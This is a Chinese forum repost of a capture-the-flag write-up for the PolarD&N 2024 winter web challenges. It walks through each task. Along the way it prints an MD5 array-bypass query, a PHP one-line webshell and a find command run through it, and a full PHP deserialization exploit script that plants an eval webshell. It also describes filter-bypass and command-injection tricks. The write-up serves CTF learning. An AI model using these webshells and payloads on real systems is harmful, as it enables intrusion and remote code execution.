ToB企服应用市场:ToB评测及商务社交产业平台
标题:
PolarD&N 2024冬季个人挑衅赛WEB
[打印本页]
作者:
千千梦丶琪
时间:
9 小时前
标题:
PolarD&N 2024冬季个人挑衅赛WEB
PolarD&N 2024冬季个人挑衅赛WEB
简单的导航站
进入题目后先注册一个账号,注册乐成后手动到登录界面举行登录,然后选择查看列表,出现如下代码
<?php
header("Content-Type:text/html;charset=utf-8");
show_source(__FILE__);
include('user.php');
$user1 = $_GET['user1'];
$user2 = $_GET['user2'];
if ($user1 != $user2) {
if (md5($user1) === md5($user2)) {
echo '用户名:' . $user;
} else {
echo 'MD5值校验出错啦啦啦......';
}
} else {
echo 'user不能相等!';
}
?>
复制代码
一个简单的md5绕过,用数组即可
user1[]=1&user2[]=2
复制代码
用get方法传入后可以看到所有用户名列表,管理员的也在此中。随后到管理员登录界面,本打算用这些用户名和自己的密码本举行爆破的,但这样数据量太大了,可能在什么地方藏了密码,ctrl+u看了一下前端代码,发现了
Admin1234!
估计这个就是密码,随后爆破用户名,得到用户名是
P0la2adm1n
,乐成登录,跳转到了文件上传界面
直接上传php一句话木马,乐成了,但是不知道详细路径,用dirsearch扫到了uploads文件夹,那么大概率就是在这下面了,前往一句话木马的位置,用find找一下flag的位置
cmd=system('find / -name "fl*"');
复制代码
发现不对,flag好像有点多,随后用蚁剑连接一下,直接查看验证flag的php文件内容
拿到flag
井字棋
F12查看源码,看到如下关键内容
可以得知想game.php发送winner为player的json数据即可得到flag
button
Ctrl+u查看源码,跳到script.js中查看详细内容,随后发现了一个疑似可以弹出flag路由以及对应参数
前往该路由后f12即可拿到flag
狗黑子的RCE
第一个参数的过滤不完全,利用uniq代替cat,然后用反斜杠分割flag即可绕过。
第二个参数替换为空,那么双写绕过即可
xxmmll
用dirsearch可以扫到docker-compose.yml,前往查看可以发现flag被设置到环境变量的代码,提交即可,非预期
Note
用dirsearch扫出了flag.txt,原来以为是假的,试着提交了一下,然后就过了???又是非预期解
赌王
先爆破转到到三个都一样的环境,随后可以得到提示
补上php后缀后前往,得到一个比大小的界面,用数组绕过
得到一个新的文件地址,前往访问,根据解释掉的提示可知将ip修改成1.1.1.1即可得到权限,随后在ping的ip后面接上要实验的命令即可
任务cmd
进题之后扫目录得到login.php背景登录,先放着,爆破小明的登录密码是123123,进入后发现url处的id传递了xiaoming,将其改为xiaohei后乐成进入了小黑的信息界面
推测电话处的内容为背景登录的密钥,随后在login.php再次举行爆破,得到账号密码分别为admin和flower,进入之后发现任务一是一个php文件,结合题目的cmd,尝试用cmd传递命令,乐成实验
ezezser
用dirsearch扫一下可以得知是git源码泄露,用gitHack下载源码到当地,发现还有个env.php,那么大致的思路就确定了,利用cookie写入序列化数据,在反序列化的时候触发getInfo方法,实验eval($this->key);将key的命令写成用file_put_contents向env.php写入木马即可,由于是private数据,在反序列化后要url编码,随后到env.php连接木马即可
脚本如下
<?php
error_reporting(0);
class backDoor {
private $key="file_put_contents('env.php','<?php @eval(\$_POST[\'Kon\']);?>');";
public function getInfo() {
eval($this->key);
}
}
class polar520
{
private $polarday = '1';
private $polarnight = '1';
private $polar = false;
private $class = 'info';
public function __construct()
{
$this->class=new backDoor();
}
public function login($a, $b)
{
return $this > polarday === $a && $this > polarnight === $b;
}
public function __destruct()
{
$this->class->getInfo();
}
}
$a=new polar520();
echo urlencode(serialize($a));
复制代码
坦诚相见
在no.php中发现过滤了一些和目录遍历相干的操作和flag,于是利用${PWD:0:1}来获取/,乐成读到根目录,但是无法读取flag的文件内容,看了下权限发现是权限不够
于是利用sudo cat "${PWD:0:1}"f*读取,乐成拿到flag
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
欢迎光临 ToB企服应用市场:ToB评测及商务社交产业平台 (https://dis.qidao123.com/)
Powered by Discuz! X3.4